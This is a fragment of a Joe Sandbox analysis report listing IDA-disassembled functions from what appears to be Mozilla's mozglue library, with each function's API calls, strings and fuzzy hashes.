Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dbe97905c64412ba7d686606939c13c815a4cccba5d046cfa84dc177235d51c1
Instruction ID: f0b92b3451f61767e3e55960510869a03360ad9d2561bcc4619000641b698282
Opcode Fuzzy Hash: dbe97905c64412ba7d686606939c13c815a4cccba5d046cfa84dc177235d51c1
Instruction Fuzzy Hash: A251B7B1A052558FEF14CF54D88076E73B6FF45318F26092AD916ABB40E732F905CB92

Function 6CAD60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD6180
free.MOZGLUE(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD6229
free.MOZGLUE(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD6271

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 88391dc334f8127d2ecffa1310499c50b657f1c2a77ee34726ea4584b6e699c8
Instruction ID: b229a96c5d861641c250cd5f11e394d8df5244ac900e8d2c2e16b8c1f4ec4443
Opcode Fuzzy Hash: 88391dc334f8127d2ecffa1310499c50b657f1c2a77ee34726ea4584b6e699c8
Instruction Fuzzy Hash: 8B518CB1A042068FEB14CF68D8807AEB7B5FF49308F264839D516D7711E731B998CB61

Function 6CB127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1289A
free.MOZGLUE(?,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB12910
free.MOZGLUE(00000001,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1294E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d8b8250902d49010baa431bca8d3b7bb29516b1b2ee0625100043827f3683caa
Instruction ID: 41eb7edd8a99f68a5da2bdfcf7cd78b4bcec2a922c1e54d2312ddb87385fd947
Opcode Fuzzy Hash: d8b8250902d49010baa431bca8d3b7bb29516b1b2ee0625100043827f3683caa
Instruction Fuzzy Hash: 8741AFB1A082468FEB14CF68D88476A73F6FF46748F244939D556EBB40E731E904CB92

Function 6CACCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CACD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CACD139

Strings

MOZ_CRASH(), xrefs: 6CACD187

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 12febf4634da12c3fcbc7d466b29442bb26c3cf00fe5f0d81f2382a5ce5cf074
Instruction ID: 25050d2bf3cc864bfea73095d9faeaa5805ebc17b41fddd6145b854f49fea74c
Opcode Fuzzy Hash: 12febf4634da12c3fcbc7d466b29442bb26c3cf00fe5f0d81f2382a5ce5cf074
Instruction Fuzzy Hash: 4041DF72F882124FDB04DE7C8C9036EB6B0FB59328F154139EA19E7788D7A19C418BC1

Function 6CAC4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAC4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAC4F1E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 24a63b5fea7f846ac912d1e20f755e6e9b21953afda1227bd7a246d4f5419f81
Instruction ID: 1d14f9e959f0c3a59b9c00b30ba4775f542c886a116c8300ef022b22d9fd162b
Opcode Fuzzy Hash: 24a63b5fea7f846ac912d1e20f755e6e9b21953afda1227bd7a246d4f5419f81
Instruction Fuzzy Hash: 1841E0716087059FC701CF29C4809ABBBF4BF89344F148A2DF4A687741DB30E998CB96

Function 6CB2A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A87B

Part of subcall function 6CB2A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CB2A88F,00000000), ref: 6CB2A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CB2A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A90C
LeaveCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A97E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: a28f45f72f68fd8dfd7c861a626ef3d8e6682129c0846357958ca77d68ac1ca4
Instruction ID: c819be9ac0b773ae543b832cff0025eff26aa821165ef84d9747c0da2dee6c49
Opcode Fuzzy Hash: a28f45f72f68fd8dfd7c861a626ef3d8e6682129c0846357958ca77d68ac1ca4
Instruction Fuzzy Hash: AC41A1B0E002849BDB00DFE4D845AEEB770FF04324F148629E82AAB781D735A945DF91

Function 6CAD1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD15E7
free.MOZGLUE(?,?,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD1637

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 61b7610f2f5ce5fe1a6e45987acc7a81b61b516b24b9cd1c10445664d4ce2970
Instruction ID: 5d8e384758f896d1c09da016da06e1af52b2c786dad70440e32f0ec6ac3556f1
Opcode Fuzzy Hash: 61b7610f2f5ce5fe1a6e45987acc7a81b61b516b24b9cd1c10445664d4ce2970
Instruction Fuzzy Hash: EA31EA71A001148BC7148E7CD9504BE77E5BB8537472A0B6DE527DBBD4EB30F9848791

Function 6CB2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AD9D

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE3D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b2daacdf5b4e0d0049d62194b7f5636d2c5d1cc6734199c6b04a4fcf691ca726
Instruction ID: fdd8ae56094df78d791fc55fad12ba631746bff714471276c174ec19fd80b5e3
Opcode Fuzzy Hash: b2daacdf5b4e0d0049d62194b7f5636d2c5d1cc6734199c6b04a4fcf691ca726
Instruction Fuzzy Hash: F53141B1A006659FDB10EF758D44ABFB7F8EF48614F158829E85AE7700E734A805CBA1

Function 6CB25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB3DCA0,?,?,?,6CAFE8B5,00000000), ref: 6CB25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAFE8B5,00000000), ref: 6CB25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CAFE8B5,00000000), ref: 6CB25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CAFE8B5,00000000), ref: 6CB25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAFE8B5,00000000), ref: 6CB25FD6

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4ee2e5cd200b3e129694d0c8e9354a19344c43750edd2432d47f5497e2aa43ea
Instruction ID: 60847081fe4429a6cbf756eabffa98d5d6f352cfd5e4221c63ba158395ae2a72
Opcode Fuzzy Hash: 4ee2e5cd200b3e129694d0c8e9354a19344c43750edd2432d47f5497e2aa43ea
Instruction Fuzzy Hash: FF3121343006408FDB20DF29C498E2AB7F9FF89319BA48558F55A87B99C735EC45CB85

Function 6CACB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CACB532
moz_xmalloc.MOZGLUE(?), ref: 6CACB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CACB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CACB57E
free.MOZGLUE(00000000), ref: 6CACB58F

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ae28887b4ebdef48da0d0410e2d77cb73db740a1824c5e081586ba6cff0109b8
Instruction ID: 2546d1562a6fbae7c79102d7048478136e712711a5b073e14cdd0249228bf846
Opcode Fuzzy Hash: ae28887b4ebdef48da0d0410e2d77cb73db740a1824c5e081586ba6cff0109b8
Instruction Fuzzy Hash: 95210771B402099BDB009F68DC40BAEBBB9FF85308F284129E919DB341E736D955CBA1

Function 6CACB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CACB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CACB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CACB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACB849

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 271d15376005e457c89ec15661d592576dac72ac2e27cfbebe8929ce7a80ca0b
Instruction ID: 2357739cd5ef7c009ff43b39cfc340fb633fddfdb20c77148fae49e78861c33e
Opcode Fuzzy Hash: 271d15376005e457c89ec15661d592576dac72ac2e27cfbebe8929ce7a80ca0b
Instruction Fuzzy Hash: 7F2121B4E002199FDF04DFA9D8855BEBBB8EF49718F148129EC15A7341D731A984CBA1

Function 6CB26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB26E78

Part of subcall function 6CB26A10: InitializeCriticalSection.KERNEL32(6CB4F618), ref: 6CB26A68
Part of subcall function 6CB26A10: GetCurrentProcess.KERNEL32 ref: 6CB26A7D
Part of subcall function 6CB26A10: GetCurrentProcess.KERNEL32 ref: 6CB26AA1
Part of subcall function 6CB26A10: EnterCriticalSection.KERNEL32(6CB4F618), ref: 6CB26AAE
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB26AE1
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB26B15
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB26B65
Part of subcall function 6CB26A10: LeaveCriticalSection.KERNEL32(6CB4F618,?,?), ref: 6CB26B83

MozFormatCodeAddress.MOZGLUE ref: 6CB26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB26EFF

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 80255427873d54a98aaa6507febd8ebd6d442033e722cabeddd4d61afd864880
Instruction ID: 50ff5e1fcc9d65a16a032a7b699e52d0c074a74a09e39b97a42f08bc7ee0819d
Opcode Fuzzy Hash: 80255427873d54a98aaa6507febd8ebd6d442033e722cabeddd4d61afd864880
Instruction Fuzzy Hash: 6B21C171A0425A9FCF10DF29D8856AE77F8FF84308F048039E80D97340EB749A488F92

Function 6CB276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB27705

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB2778F,00000000,00000000,00000000,00000000), ref: 6CB27731
free.MOZGLUE(00000000), ref: 6CB27760

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 65719a952383b1ca1ee3913f936ae0f7aeaea54247809728ffdea7db86c2a6b4
Instruction ID: a0764177fe3a0355538d26e510fceed9acf1aeca86d0f95260d429c0a87b63bb
Opcode Fuzzy Hash: 65719a952383b1ca1ee3913f936ae0f7aeaea54247809728ffdea7db86c2a6b4
Instruction Fuzzy Hash: 7111E2B19052656BEB10AFB6CC44BBBBEF8EF55354F144529F88CA7300E374984487E2

Function 6CB00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAC3DEF), ref: 6CB00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAC3DEF), ref: 6CB00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAC3DEF), ref: 6CB00DAF

Strings

<jemalloc>, xrefs: 6CB00D92, 6CB00DB9
: (malloc) Error in VirtualFree(), xrefs: 6CB00D97, 6CB00DBE

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 18103124ac35b1fce1048869e245869a1ab45b833636d80ed5b1875ca5d913fd
Instruction ID: 83dd06e9483a4167defa7da53b2f88c03fd87f192fe1737d9d0ed461f2ce4357
Opcode Fuzzy Hash: 18103124ac35b1fce1048869e245869a1ab45b833636d80ed5b1875ca5d913fd
Instruction Fuzzy Hash: E7F05B223887E422D51429656C09B6A2B5DA7C2B55F24C125FA14DA9C4DA60E8109675

Function 6CB17620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB175C4,?), ref: 6CB1762B

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17644
GetCurrentThreadId.KERNEL32 ref: 6CB1765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17677

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 06bf53066ae6f62f4d7f5dc8963e89327755105b16309b37e05c2b3119ea80e3
Instruction ID: 6b427b1089d35fb4753385fe08603464c0e9393253c981f481d26e519e93b825
Opcode Fuzzy Hash: 06bf53066ae6f62f4d7f5dc8963e89327755105b16309b37e05c2b3119ea80e3
Instruction Fuzzy Hash: 8BF0C271E14B45ABD7009F32C888A7AB778FFEA25DF128356FA0443601E7B0A5D08BD0

Function 6CB21700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB21800

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

Strings

name, xrefs: 6CB21939
Details, xrefs: 6CB21925
{marker.name} - {marker.data.name}, xrefs: 6CB218C7

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
